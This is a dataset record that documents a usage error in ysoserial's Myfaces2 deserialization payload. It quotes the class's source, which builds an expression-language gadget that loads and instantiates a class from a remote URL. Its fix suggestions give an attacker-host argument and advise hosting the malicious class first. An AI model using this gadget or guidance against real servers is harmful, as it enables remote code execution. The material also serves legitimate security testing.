{"record":{"id":"67c365fbac459832","repo":"frohoff/ysoserial","slug":"command-format-is-base-url-classname-myfaces2","errorCode":null,"errorMessage":"Command format is: <base_url>:<classname>","messagePattern":"Command format is: <base_url>:<classname>","errorType":"validation","errorClass":"IllegalArgumentException","httpStatus":null,"severity":"error","filePath":"src/main/java/ysoserial/payloads/Myfaces2.java","lineNumber":47,"sourceCode":" *\n * @author mbechler\n */\n@PayloadTest(harness=\"ysoserial.test.payloads.MyfacesTest\", precondition = \"isApplicableJavaVersion\")\n@Authors({ Authors.MBECHLER })\npublic class Myfaces2 implements ObjectPayload<Object>, DynamicDependencies {\n    public static boolean isApplicableJavaVersion() {\n        return JavaVersion.isAtLeast(7);\n    }\n\n    public static String[] getDependencies () {\n        return Myfaces1.getDependencies();\n    }\n\n\n    public Object getObject ( String command ) throws Exception {\n        int sep = command.lastIndexOf(':');\n        if ( sep < 0 ) {\n            throw new IllegalArgumentException(\"Command format is: <base_url>:<classname>\");\n        }\n\n        String url = command.substring(0, sep);\n        String className = command.substring(sep + 1);\n\n        // based on http://danamodio.com/appsec/research/spring-remote-code-with-expression-language-injection/\n        String expr = \"${request.setAttribute('arr',''.getClass().forName('java.util.ArrayList').newInstance())}\";\n\n        // if we add fewer than the actual classloaders we end up with a null entry\n        for ( int i = 0; i < 100; i++ ) {\n            expr += \"${request.getAttribute('arr').add(request.servletContext.getResource('/').toURI().create('\" + url + \"').toURL())}\";\n        }\n        expr += \"${request.getClass().getClassLoader().newInstance(request.getAttribute('arr')\"\n                + \".toArray(request.getClass().getClassLoader().getURLs())).loadClass('\" + className + \"').newInstance()}\";\n\n        return Myfaces1.makeExpressionPayload(expr);\n    }\n","sourceCodeStart":29,"sourceCodeEnd":65,"githubUrl":"https://github.com/frohoff/ysoserial/blob/218bcffcaaa904a4e392f0c15d9e2874533635a3/src/main/java/ysoserial/payloads/Myfaces2.java#L29-L65","documentation":"Myfaces2 payload's getObject() splits the command on the last ':' to obtain a base URL (where a TemplateBeans class is hosted) and a class name. With no ':' present it cannot assemble the expression-language gadget and throws IllegalArgumentException with the usage message.","triggerScenarios":"Calling Myfaces2.getObject(command) with a string lacking ':' — e.g. only a class name or only a URL.","commonSituations":"Forgetting to host the class and include its URL; URL-encoding or stripping the colon in shell quoting; copying a command format from Myfaces1 which uses a different argument shape.","solutions":["Pass '<base_url>:<classname>', e.g. 'http://attacker:8080/:TemplateBeans'","Ensure the class is actually served at the given base URL before generating the payload","Quote the argument in the shell so ':' and ';' are preserved"],"exampleFix":"// before\nnew Myfaces2().getObject(\"TemplateBeans\");\n// after\nnew Myfaces2().getObject(\"http://attacker.example:8080/:TemplateBeans\");","handlingStrategy":"validation","validationCode":"if (command.lastIndexOf(':') < 0) throw new IllegalArgumentException(\"expected <base_url>:<classname>\");","typeGuard":null,"tryCatchPattern":"try { obj = new Myfaces2().getObject(cmd); } catch (IllegalArgumentException e) { usage(e.getMessage()); }","preventionTips":["Always include ':'-separated URL and classname","Host the TemplateBeans class before generating","Quote shell arguments to preserve ':'"],"tags":["argument-parsing","ysoserial","myfaces"],"backgroundTag":"invalid-argument-format","analyzedSha":"218bcffcaaa904a4e392f0c15d9e2874533635a3","analyzedAt":"2026-09-12T01:53:58.488Z","contentChangedAt":"2026-09-12T01:53:58.488Z","schemaVersion":2},"datasetVersion":"2026-09-16T04:17:20.429Z"}